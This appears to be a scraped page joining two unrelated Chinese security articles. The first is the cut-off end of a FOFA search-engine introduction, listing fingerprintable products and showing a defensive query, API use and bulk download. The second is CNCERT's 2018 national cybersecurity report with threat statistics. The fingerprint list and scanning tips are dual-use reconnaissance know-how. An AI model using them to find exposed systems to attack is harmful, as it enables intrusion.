juniper_vpn， F5_BIGIP， CEMIS， DI-804HV， CCProxy， 梭子鱼设备， Synology_NAS， zenoss，
Splunk， OpenMas， Ultra_Electronics， NOALYSS， Nagios， ALCASAR， orocrm，
Adiscon_LogAnalyzer， Munin， opennms， MRTG， ganglia， 元年财务软件， UFIDA_NC， Webmin，
锐捷应用控制引擎， Storm， 网神VPN， FortiWeb， Centreon， FortiGuard， PineApp， ntop， CDR-Stats， GenieATM， Spark_Worker， Spark_Master， Kibana， CISCO_VPN， UcSTAR，
i@Report， 帕拉迪统一安全管理和综合审计系统， openEAP， Dorado， 金龙卡金融化一卡通网站查询子系统， 一采通，
埃森诺网络服务质量检测系统， 惠尔顿上网行为管理系统， ACSNO网络探针， 绿盟下一代防火墙， 用友U8， 华为_HUAWEI_SRG1220，
华为_HUAWEI_SRG2220， 华为_HUAWEI_ASG2100， 华为_HUAWEI_SRG3250， 华为_HUAWEI_ASG2050，
华为（HUAWEI）安全设备， 华为（HUAWEI）Secoway设备， Fireeye，
CDN
蓝讯， 网宿， 帝联， 快网， Webluker， 西部数码， gocdn， Powercdn， Akamai， QingCloud， amazon-cloudfront，
Web服务器
Sun[tm]， ZendServer， squid， JBoss_AS， oracle_applicaton_server， IIS， nginx，
tomcat， Apache， Tengine， IBM_HTTP_Server， GSE， LiteSpeed， Microsoft-HTTPAPI，
ngx_openresty， Zeus， Resin， Netscape-Enterprise， Phusion， webrick， Jetty， Sun-ONE-Web-Server， Oracle-Application-Server， JBoss， kangle反向代理， Varnish，
Aicache， SJSWS_ OiWS， AOLserver， Lotus-Domino， gunicorn， Allegro-Software-RomPager， Starlet， nginx_admin， FortiWeb， GlassFish， Privoxy， 东方通应用服务器TongWeb，
Mbedthis-Appweb，
网站防火墙WAF
一启快， 360主机卫士， 安全狗， Websecurity_WAF， webray， weidun， 安慧网盾， Safe3WAF， AnZuWAF，
DnP Firewall， Kerio_WinRoute_Firewall， Dotdefender， Citrix_Netscaler，
Mod_Security， PaloAlto_Firewall， WebKnight， Sucuri， 梭子鱼防火墙， 云锁，
路由器
dd-wrt， 锐捷NBR路由器， mikrotik， 中兴路由器， h3c路由器， jcg无线路由器， Comcast_Business_Gateway，
AirLink_modem，
CMS
phpshe， ThinkSAAS， e-tiller， DouPHP， twcms， SiteServer， Joomla， HDWiki，
kesionCMS， CMSTop， ESPCMS， 74cms， Foosun， PhpCMS， Hanweb， Drupal， cmseasy，
wordpress， DedeCMS， ASPCMS， MetInfo， Npoint， 小蚂蚁， 捷点JCMS， 帝国EmpireCMS， JEECMS，
emlog， IdeaCMS， TCCMS， DIYWAP， supesite， webplus， Dolibarr， ExpressionEngine，
iAPPS， Liferay， Telerik Sitefinity， PageAdmin， sdcms， EnterCRM， 易普拉格科研管理系统，
苏亚星校园管理系统， 313自助建站， trs_wcm， we7， 1024cms， 360webfacil_360WebManager， 6kbbs，
ABO_CMS， Acidcat_CMS， bit-service， 云因网上书店， DotNetNuke， plone， Kooboocms，
unknown_cms， chanzhi， unknown_cms_rcms， MediaWiki， Typecho， Z-Blog， Z-BlogPHP，
EleanorCMS， BitrixSiteManager， FOXI BIZzz， BPanelCMS， SubrionCMS， WMSN，
TwilightCMS， TechartCMS， 2z project， phpDocumentor， 微门户， Osclass， webEdition，
orocrm， 创星伟业校园网群， BoyowCMS， 正方教务管理系统， UFIDA_NC， phpweb， weebly， 地平线CMS，
HIMS酒店云计算服务， Tipask， 北创图书检索系统， squarespace建站， 微普外卖点餐系统， 逐浪zoomla， Zikula_CMS，
mozartframework， UMI.CMS， EasywebCMS， synkronvia， sitecore， MuraCMS， irecms，
typo3， SamanPortal， 北京清科锐华CEMIS， ThinkSNS， asp168欧虎， 擎天电子政务， easysite，
北京阳光环球建站系统， MaticsoftSNS_动软分享社区， FineCMS， Diferior， DokuWiki， WebsiteBaker-CMS， concrete5， 国家数字化学习资源中心系统， 某通用型政府cms， PigCms， 天柏在线培训/考试系统， 万户网络， rcms，
全国烟草系统， O2OCMS， 一采通，
视频监控
EdmWebVideo， iDVR， edvr， AVCON6， Polycom， Plesk， techbridge， NETSurveillance，
海康威视（Hikvision）， nvdvr， DVR camera， TRSMAS， Macrec_DVR，
Aethra_Telecommunications_Operating_System， ECOR， MOBOTIX_Camera，
OnSSI_Video_Clients， Linksys_SPA_Configuration ， eagleeyescctv， dasannetworks，
海康威视iVMS， 佳能网络摄像头(Canon Network Cameras)， NetDvrV3，
网站云防护
cloudflare， 加速乐， Incapsula， 百度云加速， 360网站卫士， 安全宝， BinarySec， Sucuri，
NetteFramework，
论坛社区
phpbb， phpwind， discuz， vBulletin， 6kbbs， IP.Board，
邮件系统
fangmail， 腾讯企业邮箱， MDaemon， 亿邮， 网易企业邮箱， TurboMail， magicwinmail， 万网企业云邮箱，
bxemail， Coremail， imailserver， exchange， Zimbra， Lotus， Roundcube， Horde，
Atmail， iGENUS_webmail， anymacro， mirapoint， iredadmin(Roundcube?)，
SquirrelMail， U-Mail， ExtMail， Spammark邮件信息安全网关，
站长平台
360站长平台， baidu站长平台， google站长平台， sogou站长平台，
电商系统
Zen Cart， ECShop， Shop7Z， 同城多用户商城， iWebShop， eaststorecreeator， buscape，
1und1， 3DCART， cart_engine， Magento， OpenCart， ECMall， PrestaShop，
Bigcommerce， TinyShop， hishop， Maticsoft_Shop_动软商城， shopify， hikashop，
OA系统
华天动力OA(OA8000)， 通达OA， OA(a8/seeyon/ufida)， yongyoufe， pmway_E4_crm， Dolibarr，
PHPOA， 78oa， WishOA， 金和协同管理平台， 泛微协同办公OA， 万户ezOFFICE， ranzhi， Zimbra， Lotus，
OA企业智能办公自动化系统， ecwapoa， ezOFFICE，
**3、使用场景**
例如Apache出来了一个高危漏洞，受影响的版本号为2.4.23,我们需要去本公司可能受此漏洞影响的Apache服务器，那么我们可以使用高级查询语句server=="Apache/2.4.23"&&domain="xxx.com"，搜索结果即为本公司域名下的所有子域名可能存在Apache2.4.23版本漏洞的URL，安全人员可以对结果进行检查，及时修复漏洞。
**三、FOFA的特点**
* * *
1.支持API查询接口，便于进行程序间的自动化查询、处理功能，进行进一步的业务分析，用法如下：
所有调用都需要提供身份信息，主要是email和key，email主要是注册和登陆时填写的email，key需要用户到个人中心获取32位的hash值，即为API
KEY。
将上面的两个信息填入api接口中，即可获取json格式的数据：
2.支持下载功能：搜索到结果之后可在右侧选择下载功能，可下载搜索到的所有数据，下载的格式支持CSV，JSON，XML格式，方便程序调用进行全网扫描。
**四、结语**
* * *
FOFA无边，只渡有缘，感兴趣的童鞋赶快来试试吧！（[https://fofa.so](https://fofa.so/)）
* * * | 社区文章 |
**作者：国家互联网应急中心CNCERT
公众号：<https://mp.weixin.qq.com/s/-p7Uf9vdoJPTgKVAEPpbYA>**
当前，网络安全威胁日益突出，网络安全风险不断向政治、经济、文化、社会、生态、国防等领域传导渗透，各国加强网络安全监管，持续出台网络安全政策法规。2018年，在中央网络安全和信息化委员会（原“中央网络安全和信息化领导小组”）的统一领导下，我国进一步加强网络安全和信息化管理工作，各行业主管部门协同推进网络安全治理。国家互联网应急中心（以下简称“CNCERT”）持续加强我国互联网网络安全监测，开展我国互联网宏观网络安全态势评估，网络安全事件监测、协调处置和预警通报工作，取得了显著成效。CNCERT依托我国宏观安全监测数据，结合网络安全威胁治理实践成果，在本报告中重点对2018年我国互联网网络安全状况进行了分析和总结，并对2019年的网络安全趋势进行预测。
### 一、2018年我国互联网网络安全状况
2018年，我国进一步健全网络安全法律体系，完善网络安全管理体制机制，持续加强公共互联网网络安全监测和治理，构建互联网发展安全基础，构筑网民安全上网环境，特别是在党政机关和重要行业方面，网络安全应急响应能力不断提升，恶意程序感染、网页篡改、网站后门等传统的安全问题得到有效控制。全年未发生大规模病毒爆发、大规模网络瘫痪的重大事件，但关键信息基础设施、云平台等面临的安全风险仍较为突出，APT攻击、数据泄露、分布式拒绝服务攻击（以下简称“DDoS攻击”）等问题也较为严重。
#### （一）我国网络安全法律法规政策保障体系逐步健全
自我国《网络安全法》于2017年6月1日正式实施以来，我国网络安全相关法律法规及配套制度逐步健全，逐渐形成综合法律、监管规定、行业与技术标准的综合化、规范化体系，我国网络安全工作法律保障体系不断完善，网络安全执法力度持续加强。2018年，全国人大常委会发布《十三届全国人大常委会立法规划》，包含个人信息保护、数据安全、密码等方面。党中央、国务院各部门相继发力，网络安全方面法规、规章、司法解释等陆续发布或实施。《网络安全等级保护条例》已向社会公开征求意见，《公安机关互联网安全监督检查规定》、《关于加强跨境金融网络与信息服务管理的通知》、《区块链信息服务管理规定》、《关于加强政府网站域名管理的通知》等加强网络安全执法或强化相关领域网络安全的文件发布。
#### （二）我国互联网网络安全威胁治理取得新成效
我国互联网网络安全环境经过多年的持续治理效果显著，网络安全环境得到明显改善。特别是党中央加强了对网络安全和信息化工作的统一领导，党政机关和重要行业加强网络安全防护措施，针对党政机关和重要行业的木马僵尸恶意程序、网站安全、安全漏洞等传统网络安全事件大幅减少。2018年，CNCERT协调处置网络安全事件约10.6万起，其中网页仿冒事件最多，其次是安全漏洞、恶意程序、网页篡改、网站后门、DDoS攻击等事件。CNCERT持续组织开展计算机恶意程序常态化打击工作，2018年成功关闭772个控制规模较大的僵尸网络，成功切断了黑客对境内约390万台感染主机的控制。据抽样监测，在政府网站安全方面，遭植入后门的我国政府网站数量平均减少了46.5%，遭篡改网站数量平均减少了16.4%，显示我国政府网站的安全情况有所好转。在主管部门指导下，CNCERT联合基础电信企业、云服务商等持续开展DDoS攻击资源专项治理工作，从源头上遏制了DDoS攻击行为，有效降低了来自我国境内的攻击流量。据CNCERT抽样监测，2018年境内发起DDoS攻击的活跃控制端数量同比下降46%、被控端数量同比下降37%；境内反射服务器、跨域伪造流量来源路由器、本地伪造流量来源路由器等可利用的攻击资源消亡速度加快、新增率降低。根据外部报告，我国境内僵尸网络控制端数量在全球的排名从前三名降至第十名
，DDoS活跃反射源下降了60% ①。
#### （三）勒索软件对重要行业关键信息基础设施威胁加剧
2018年勒索软件攻击事件频发，变种数量不断攀升，给个人用户和企业用户带来严重损失。2018年，CNCERT捕获勒索软件近14万个，全年总体呈现增长趋势，特别在下半年，伴随“勒索软件即服务”产业的兴起，活跃勒索软件数量呈现快速增长势头，且更新频率和威胁广度都大幅度增加，例如勒索软件GandCrab全年出现了约19个版本，一直快速更新迭代。勒索软件传播手段多样，利用影响范围广的漏洞进行快速传播是当前主要方式之一，例如勒索软件Lucky通过综合利用弱口令漏洞、Window
SMB漏洞、Apache Struts
2漏洞、JBoss漏洞、Weblogic漏洞等进行快速攻击传播。2018年，重要行业关键信息基础设施逐渐成为勒索软件的重点攻击目标，其中，政府、医疗、教育、研究机构、制造业等是受到勒索软件攻击较严重行业。例如GlobeImposter、GandCrab等勒索软件变种攻击了我国多家医疗机构，导致医院信息系统运行受到严重影响。
#### （四）越来越多的APT攻击行为被披露
2018年，全球专业网络安全机构发布了各类高级威胁研究报告478份，同比增长了约3.6倍，其中我国12个研究机构发布报告80份，这些报告涉及已被确认的APT攻击组织包括APT28、Lazarus、Group
123、海莲花、MuddyWater等53个，攻击目标主要分布在中东、亚太、美洲和欧洲地区，总体呈现出地缘政治紧密相关的特性，受攻击的领域主要包括军队国防、政府、金融、外交和能源等。值得注意的是，医疗、传媒、电信等国家服务性行业领域也正面临越来越多的APT攻击风险。②
APT攻击组织采用的攻击手法主要以鱼叉邮件攻击、水坑攻击、网络流量劫持或中间人攻击等，其频繁利用公开或开源的攻击框架和工具，并综合利用多种技术以实现攻击，或规避与历史攻击手法的重合。
#### （五）云平台成为发生网络攻击的重灾区
根据CNCERT监测数据，虽然国内主流云平台使用的IP地址数量仅占我国境内全部IP地址数量的7.7%，但云平台已成为发生网络攻击的重灾区，在各类型网络安全事件数量中，云平台上的DDoS攻击次数、被植入后门的网站数量、被篡改网站数量均占比超过50%。同时，国内主流云平台上承载的恶意程序种类数量占境内互联网上承载的恶意程序种类数量的53.7%，木马和僵尸网络恶意程序控制端IP地址数量占境内全部恶意程序控制端IP地址数量的59%，表明攻击者经常利用云平台来发起网络攻击。分析原因，云平台成为网络攻击的重要目标是因为大量系统部署到云上，涉及国计民生、企业运营的数据和用户个人信息，成为攻击者攫取经济利益的目标。从云平台上发出的攻击增多是因为云服务使用存在便捷性、可靠性、低成本、高带宽和高性能等特性，且云网络流量的复杂性有利于攻击者隐藏真实身份，攻击者更多的利用云平台设备作为跳板机或控制端发起网络攻击。此外，云平台用户对其部署在云平台上系统的网络安全防护重视不足，导致其系统可能面临更大的网络安全风险。因此，云服务商和云用户都应加大对网络安全的重视和投入，分工协作提升网络安全防范能力。云服务商应提供基础性的网络安全防护措施并保障云平台安全运行，全面提高云平台的安全性和可控性。云用户对部署在云平台上的系统承担主体责任，需全面落实系统的网络安全防护要求。
#### （六）拒绝服务攻击频次下降但峰值流量持续攀升
DDoS攻击是难以防范的网络攻击手段之一，攻击手段和强度不断更新，并逐步形成了“DDoS即服务”的互联网黑色产业服务，普遍用于行业恶意竞争、敲诈勒索等网络犯罪。得益于我国网络空间环境治理取得的有效成果，经过对DDoS攻击资源的专项治理，我国境内拒绝服务攻击频次总体呈现下降趋势。根据第三方分析报告，2018年我国境内全年DDoS攻击次数同比下降超过20%，特别是反射攻击较去年减少了80%
。③CNCERT抽样监测发现，2018年我国境内峰值流量超过Tbps级的DDoS攻击次数较往年增加较多，达68起。其中，2018年12月浙江省某IP地址遭DDoS攻击的峰值流量达1.27Tbps。
#### （七）针对工业控制系统的定向性攻击趋势明显
2018年，针对特定工业系统的攻击越来越多，并多与传统攻击手段结合，针对国家工业控制系统的攻击日益呈现出定向性特点。恶意软件Trisis利用施耐德Triconex安全仪表控制系统零日漏洞，攻击了中东某石油天然气工厂，致其工厂停运。分析发现，Trisis完整的文件库通过五种不同的编程语言构建，因其定向性的特点，仅能在其攻击的同款工业设备上测试才能完全了解该恶意软件。2018年中期，恶意软件GreyEnergy被捕获，主要针对运行数据采集与监视控制系统（SCADA）软件和服务器的工业控制系统工作站，具有模块化架构，功能可进一步扩展，可进行后门访问、窃取文件、抓取屏幕截图、记录敲击键和窃取凭据等操作。2018年，CNCERT抽样监测发现，我国境内联网工业设备、系统、平台等遭受恶意嗅探、网络攻击的次数显著提高，虽未发生重大安全事件，但需提高警惕，引起重视。
#### （八）虚假和仿冒移动应用增多且成为网络诈骗新渠道
近年来，随着互联网与经济、生活的深度捆绑交织，通过互联网对网民实施远程非接触式诈骗手段不断翻新，先后出现了“网络投资”、“网络交友”、“网购返利”等新型网络诈骗手段。随着我国移动互联网技术的快速发展和应用普及，2018年通过移动应用实施网络诈骗的事件尤为突出，如大量虚假的“贷款APP”并无真实贷款业务，仅用于诈骗分子骗取用户的隐私信息和钱财。CNCERT抽样监测发现，在此类虚假的“贷款APP”上提交姓名、身份证照片、个人资产证明、银行账户、地址等个人隐私信息的用户超过150万人，大量受害用户向诈骗分子支付了上万元的所谓“担保费”、“手续费”费用，经济利益受到实质损害。此外，CNCERT还发现，具有与正版软件相似图标或名字的仿冒APP数量呈上升趋势。2018年，CNCERT通过自主监测和投诉举报方式共捕获新增金融行业移动互联网仿冒APP
样本838个，同比增长了近3.5倍，达近年新高。这些仿冒APP通常采用“蹭热度”的方式来传播和诱惑用户下载并安装，可能会造成用户通讯录和短信内容等个人隐私信息泄露，或在未经用户允许的情况下私自下载恶意软件，造成恶意扣费等危害。
#### （九）数据安全问题引起前所未有的关注
2018年3月，Facebook公司被爆出大规模数据泄露，且这些泄露的数据被恶意利用，引起国内外普遍关注。2018年，我国也发生了包括十几亿条快递公司的用户信息、2.4亿条某连锁酒店入住信息、900万条某网站用户数据信息、某求职网站用户个人求职简历等数据泄露事件，这些泄露数据包含了大量的个人隐私信息，如姓名、地址、银行卡号、身份证号、联系电话、家庭成员等，给我国网民人身安全、财产安全带来了安全隐患。2018年5月25日，欧盟颁布执行史上最严的个人数据保护条例《通用数据保护条例》（GDPR），掀起了国内外的广泛讨论，该法案重点保护的是自然人的“个人数据”，例如姓名、地址、电子邮件地址、电话号码、生日、银行账户、汽车牌照、IP地址以及cookies等。根据定义，该法案监管收集个人数据的行为，包括所有形式的网络追踪。GDPR实施三天后，Facebook和谷歌等美国企业成为GDPR法案下第一批被告，这不仅给业界敲响了警钟，也督促更多企业投入精力保护数据安全尤其是个人隐私数据安全。
### 二、2019年网络安全趋势预测
结合2018年我国网络安全状况，以及5G、IPv6、区块链等新技术的发展和应用，CNCERT预测2019年网络安全趋势主要如下：
#### （一）有特殊目的针对性更强的网络攻击越来越多
目前，网络攻击者发起网络攻击的针对性越来越强，有特殊目的的攻击行动频发。近年来，有攻击团伙长期以我国政府部门、事业单位、科研院所的网站为主要目标实施网页篡改，境外攻击团伙持续对我政府部门网站实施DDoS攻击。网络安全事件与社会活动紧密结合趋势明显，网络攻击事件高发。
#### （二）国家关键信息基础设施保护受到普遍关注
作为事关国家安全、社会稳定和经济发展的战略资源，国家关键信息基础设施保护的工作尤为重要。当前，应用广泛的基础软硬件安全漏洞不断被披露、具有特殊目的的黑客组织不断对我国关键信息基础设施实施网络攻击，我国关键信息基础设施面临的安全风险不断加大。2018年，APT攻击活动持续活跃，我国多个重要行业遭受攻击。随着关键信息基础设施承载的信息价值越来越大，针对国家关键信息基础设施的网络攻击将会愈演愈烈。
#### （三）个人信息和重要数据泄露危害更加严重
2018年Facebook信息泄露事件让我们重新审视个人信息和重要数据的泄露可能引发的危害，信息泄露不仅侵犯网民个人利益，甚至可能对国家政治安全造成影响。2018年我国境内发生了多起个人信息和重要数据泄露事件，犯罪分子利用大数据等技术手段，整合获得的各类数据，可形成对用户的多维度精准画像，所产生的危害将更为严重。
#### （四）5G、IPv6等新技术广泛应用带来的安全问题值得关注
目前，我国5G、IPv6规模部署和试用工作逐步推进，关于5G、IPv6自身的安全问题以及衍生的安全问题值得关注。5G技术的应用代表着增强的移动宽带、海量的机器通信以及超高可靠低时延的通信，与IPv6技术应用共同发展，将真正实现让万物互联，互联网上承载的信息将更为丰富，物联网将大规模发展。但重要数据泄露、物联网设备安全问题目前尚未得到有效解决，物联网设备被大规模利用发起网络攻击的问题也将更加突出。同时，区块链技术也受到国内外广泛关注并快速应用，从数字货币到智能合约，并逐步向文化娱乐、社会管理、物联网等多个领域延伸。随着区块链应用的范围和深度逐渐扩大，数字货币被盗、智能合约、钱包和挖矿软件漏洞等安全问题将会更加凸显。
### 附录：2018年我国互联网网络安全监测数据分析
### 一、恶意程序
#### （一）计算机恶意程序捕获情况
2018年，CNCERT全年捕获计算机恶意程序样本数量超过1亿个，涉及计算机恶意程序家族51万余个，较2017年增加8,132个。全年计算机恶意程序传播次数
日均达500万余次。按照计算机恶意程序传播来源统计，位于境外的主要是来自美国、加拿大和俄罗斯等国家和地区，来自境外的具体分布如图1所示。位于境内的主要是位于陕西省、浙江省和河南省等省份。按照受恶意程序攻击的IP统计，我国境内受计算机恶意程序攻击的IP地址约5,946万个，约占我国IP总数的17.5%，这些受攻击的IP地址主要集中在江苏省、山东省、浙江省、广东省等地区，2018年我国受计算机恶意程序攻击的IP分布情况如图2所示。
图1 2018年计算机恶意代码传播源位于境外分布情况
图2 2018年我国受计算机恶意代码攻击的IP分布情况
#### （二）计算机恶意程序用户感染情况
据CNCERT抽样监测，2018年，我国境内感染计算机恶意程序的主机数量约655万台，同比下降47.8%，如图3所示。位于境外的约4.9万个计算机恶意程序控制服务器控制了我国境内约526万台主机，就控制服务器所属国家来看，位于美国、日本和德国的控制服务器数量分列前三位，分别是约14,752个、6,551个和2,166个；就所控制我国境内主机数量来看，位于美国、中国香港和法国的控制服务器控制规模分列前三位，分别控制了我国境内约334万、48万和33万台主机。
图3 境内感染计算机恶意程序主机数量变化
我国境内感染计算机恶意程序主机数量地区分布来看，主要分布在广东省（占我国境内感染数量的10.9%）、江苏省（占9.9%）、浙江省（占9.4%）等省份，但从我国境内各地区感染计算机恶意程序主机数量所占本地区活跃IP地址数量比例来看，河南省、江苏省和广西壮族自治区分列前三位，如图4所示。在监测发现的因感染计算机恶意程序而形成的僵尸网络中，规模在100台主机以上的僵尸网络数量达3,710个，规模在10万台以上的僵尸网络数量达36个，如图5所示。为有效控制计算机恶意程序感染主机引发的危害，2018年，CNCERT组织基础电信企业、域名服务机构等成功关闭772个控制规模较大的僵尸网络。根据第三方统计报告，位于我国境内的僵尸网络控制端数量在全球的排名情况以及在全球控制端总数量的占比均呈现下降趋势④。
图4 我国各地区感染计算机恶意程序主机数量占本地区活跃IP地址数量比例
图5 2018年僵尸网络的规模分布
#### （三）移动互联网恶意程序
目前，随着移动互联网技术快速发展，我国移动互联网网民数量突破8.17亿（占我国网民总数量的98.6%）⑤，金融服务、生活服务、支付业务等全面向移动互联网应用迁移。但窃取用户信息、发送垃圾信息、推送广告和欺诈信息等危害移动互联网正常运行的恶意行为在不断侵犯广大移动用户的合法利益。2018年，CNCERT通过自主捕获和厂商交换获得移动互联网恶意程序数量283万余个，同比增长11.7%，尽管近三年来增长速度有所放缓，但仍保持高速增长趋势，如图6所示。通过对恶意程序的恶意行为统计发现，排名前三的分别为流氓行为类、资费消耗类和信息窃取类
，占比分别为45.8%、24.3%和14.9%，如图7所示。为有效防范移动互联网恶意程序的危害，严格控制移动互联网恶意程序传播途径，连续6年以来，CNCERT联合应用商店、云平台等服务平台持续加强对移动互联网恶意程序的发现和下架力度，以保障移动互联网健康有序发展。2018年，CNCERT累计协调国内314家提供移动应用程序下载服务的平台，下架3517个移动互联网恶意程序。
图6 2010年至2018年移动互联网恶意程序捕获数量走势
图7 2018年移动互联网恶意程序数量按行为属性统计
#### （四）联网智能设备恶意程序
据CNCERT监测发现，目前活跃在智能联网设备上的恶意程序家族主要包括Ddosf、Dofloo、Gafgyt、MrBlack、Persirai、Sotdas、Tsunami、Triddy、Mirai、Moose、Teaper、Satori、StolenBots、VPN-Filter等。这些恶意程序及其变种产生的主要危害包括用户信息和设备数据泄露、硬件设备遭控制和破坏、被用于DDoS攻击或其他恶意攻击行为、攻击路由器等网络设备窃取用户上网数据等。CNCERT抽样监测发现，2018年，联网智能设备恶意程序控制服务器IP地址约2.3万个，位于境外的IP地址占比约87.5%；被控联网智能设备IP地址约446.8万个，位于境内的IP地址占比约34.6%，其中山东、浙江、河南、江苏等地被控联网智能设备IP地址数量均超过10万个；控制联网智能设备且控制规模在1,000台以上的僵尸网络有363个，其中，控制规模在1万台以上的僵尸网络19个，5万台以上的8个，如表1所示。
表1 2018年联网智能设备僵尸网络控制规模统计情况 
### 二、安全漏洞
#### （一）安全漏洞收录情况
2014年以来，国家信息安全漏洞共享平台（CNVD）
收录安全漏洞数量年平均增长率为15.0%，其中，2018年收录安全漏洞数量同比减少了11.0%，共计14,201个，高危漏洞收录数量为4,898个（占34.5%），同比减少12.8%，但近年来“零日”漏洞
收录数量持续走高，2018年收录的安全漏洞数量中，“零日”漏洞收录数量占比37.9%，高达5,381个，同比增长39.6%，如图8所示。安全漏洞主要涵盖Google、Microsoft、IBM、Oracle、Cisco、Foxit、Apple、Adobe等厂商产品，如表2所示。按影响对象分类统计，收录漏洞中应用程序漏洞占57.8%，Web应用漏洞占18.7%，操作系统漏洞占10.6%，网络设备（如路由器、交换机等）漏洞占9.5%，安全产品（如防火墙、入侵检测系统等）漏洞占2.4%，数据库漏洞占1.0%，如图9所示。
图8 2013年至2018年CNVD收录安全漏洞数量对比
表2 2018年CNVD收录漏洞涉及厂商情况统计
图9 2018年CNVD收录漏洞按影响对象类型分类统计
2018年，CNVD继续推进移动互联网、电信行业、工业控制系统和电子政务4类子漏洞库的建设工作，分别新增收录安全漏洞数量1,150个（占全年收录数量的8.1%）、720个（占5.1%）、461个（占3.2%）和171个（占1.2%），如图10所示。其中工业控制系统子漏洞库收录数量持续攀升，较2017年增长了22.6%。CNVD全年通报涉及政府机构、重要信息系统等关键信息基础设施安全漏洞事件约2.1万起，同比下降23.6%。
图10 2013年至2018年CNVD子漏洞库收录情况对比
2018年，应用广泛的软硬件漏洞被披露，修复难度很大，给我国网络安全带来严峻挑战，包括计算机中央处理器（CPU）芯片爆出Meltdown漏洞
和Spectre漏洞
，影响了1995年以后生产的所有Intel、AMD、ARM等CPU芯片，同时影响了各主流云服务平台及Windows、Linux、MacOS、Android等主流操作系统。随后，Oracle
Weblogic server、Cisco Smart Install等在我国使用广泛的软件产品也相继爆出存在严重安全漏洞。
#### （二）联网智能设备安全漏洞
2018年，CNVD收录的安全漏洞中关于联网智能设备安全漏洞有2,244个，同比增长8.0%。这些安全漏洞涉及的类型主要包括设备信息泄露、权限绕过、远程代码执行、弱口令等；涉及的设备类型主要包括家用路由器、网络摄像头等。
### 三、拒绝服务攻击
2018年，CNCERT抽样监测发现我国境内峰值超过10Gbps的大流量分布式拒绝服务攻击（DDoS攻击）事件数量平均每月超过4,000起，超过60%的攻击事件为僵尸网络控制发起。僵尸网络主要偏好发动TCP
SYN FLOOD和UDP FLOOD攻击，在线攻击平台主要偏好发送UDP Amplification FLOOD攻击。
#### （一）攻击资源情况
2018年，CNCERT对全年用于发起DDoS攻击的攻击资源进行了持续分析，发现用于发起DDoS攻击的C&C控制服务器 数量共2,108台，总肉鸡
数量约144万台，反射攻击服务器约197万台，受攻击目标IP地址数量约9万个，这些攻击目标主要分布在色情、博彩等互联网地下黑产方面以及文化体育和娱乐领域，此外还包括运营商IDC、金融、教育、政府机构等。
#### （二）攻击团伙情况
2018年，CNCERT共监测发现利用僵尸网络进行攻击的DDoS攻击团伙50个。从全年来看，与DDoS攻击事件数量、C&C控制服务器数量一样，攻击团伙数量在2018年8月达到最高峰。其中，控制肉鸡数量较大的较活跃攻击团伙有16个，涉及C&C控制服务器有358个，攻击目标有2.8万个，如表3所示。为进一步分析这16个团伙的关系情况，通过对全年攻击活动进行分析，发现不同攻击团伙之间相互较为独立，同一攻击团伙的攻击目标非常集中，不同攻击团伙间的攻击目标重合度较小。
表3 2018年活跃攻击团伙基本信息表 
### 四、网站安全
2018年，CNCERT加强了对网站攻击资源的分析工作，发现绝大多数网站攻击行为由少量的活跃攻击资源
发起，对我国网站安全影响较大。根据这些攻击资源之间的关联关系，可将其划分为不同的“攻击团伙”所掌握。这些“攻击团伙”不断更换其掌握的大量攻击资源，长期攻击并控制着大量安全防护能力薄弱的网站。通过挖掘和研判“攻击团伙”对受攻击网站的具体操作行为，CNCERT发现这些攻击多带有黑帽SEO
、网页篡改等典型黑产利益意图，并使用流行的攻击工具对网站开展批量化、长期化控制。随着对网站面临安全风险的深入分析，CNCERT掌握了大量的攻击者特征及攻击手法，能为我国做好网站安全管理提出更有针对性、更有效的防范建议。
#### （一）网页仿冒
2018年，CNCERT自主监测发现约5.3万个针对我国境内网站的仿冒页面，页面数量较2017年增长了7.2%。其中，仿冒政务类网站数量明显上升，占比高达25.2%，经分析，这些仿冒页面主要被用于短期内提高其域名的搜索引擎排名，从而快速转化为经济利益。为有效防范网页仿冒引发的危害，CNCERT重点针对金融行业、电信行业网上营业厅的仿冒页面进行处置，全年共协调处置仿冒页面3.5万余个。从承载仿冒页面IP地址归属情况来看，绝大多数位于境外，主要分布在美国和中国香港，如图11所示。
图11 2018年承载仿冒页面IP地址和仿冒页面数量分布
#### （二）网站后门
1. 我国境内被植入后门情况
2018年，CNCERT监测发现境内外约1.6万个IP地址对我国境内约2.4万个网站植入后门。近三年来，我国境内被植入后门的网站数量持续保持下降趋势，2018年的数量较2017年下降了19.3%。其中，约有1.4万个（占全部IP地址总数的90.9%）境外IP地址对境内约1.7万个网站植入后门，位于美国的IP地址最多，占境外IP地址总数的23.2%，其次是位于中国香港和俄罗斯的IP地址，如图12所示。从控制我国境内网站总数来看，位于中国香港的IP地址控制我国境内网站数量最多，有3,994个，其次是位于美国和俄罗斯的IP地址，分别控制了我国境内3,607个和2,011个网站。
图12 2018年境外向我国境内网站植入后门IP地址所属国家或地区TOP10
1. 网站后门“攻击团伙”情况
2018年，CNCERT监测发现，攻击活跃在 10 天以上的网站“攻击团伙”有 777 个，全年活跃的“攻击团伙”13
个，如图所示。“攻击团伙”中使用过的攻击 IP地址数量大于 100个 的有 22 个，攻击网站数量超过 100 个的“攻击团伙”有 61
个。从“攻击团伙”的攻击活跃天数来看，少数攻击团伙能够保持持续活跃，如图13所示。多数“攻击团伙”的活跃天数较短，无法形成对被入侵网站服务器的持久化控制；少量值得关注的“攻击团伙”具有长时间持续攻击的特点，持续对其入侵的多个网站服务器实现长期控制。
图13 不同活跃天数的“攻击团伙”数量统计
#### （三）网页篡改
2018年，CNCERT监测发现我国境内遭篡改的网站有7,049个，较2017年的约2万个有大幅的下降，下降了64.9%，其中被篡改的政府网站有216个，较2017年的618个减少65.0%，如图14所示。从网页遭篡改的方式来看，被植入暗链的网站占全部被篡改网站的比例为56.9%，占比呈现持续缩小趋势。从境内被篡改网页的顶级域名分布来看，“.com”、“.net”和“.gov.cn”占比分列前三位，分别占总数的66.3%、7.7%和3.1%，占比分布情况与2017年无明显变化。
图14 2013年至2018年我国境内被篡改网站数量情况
### 五、工业互联网安全
#### （一）工业网络产品安全检测情况
为贯彻《网络安全法》并落实对网络关键设备和网络安全专用产品的安全管理规定，确保入网设备的网络安全防护水平，安全入网检测工作已得到关键信息基础设施运营者的重视。CNCERT自主研发了工业互联网安全测试平台Acheron，在2017年获得了ISAsecure权威认证
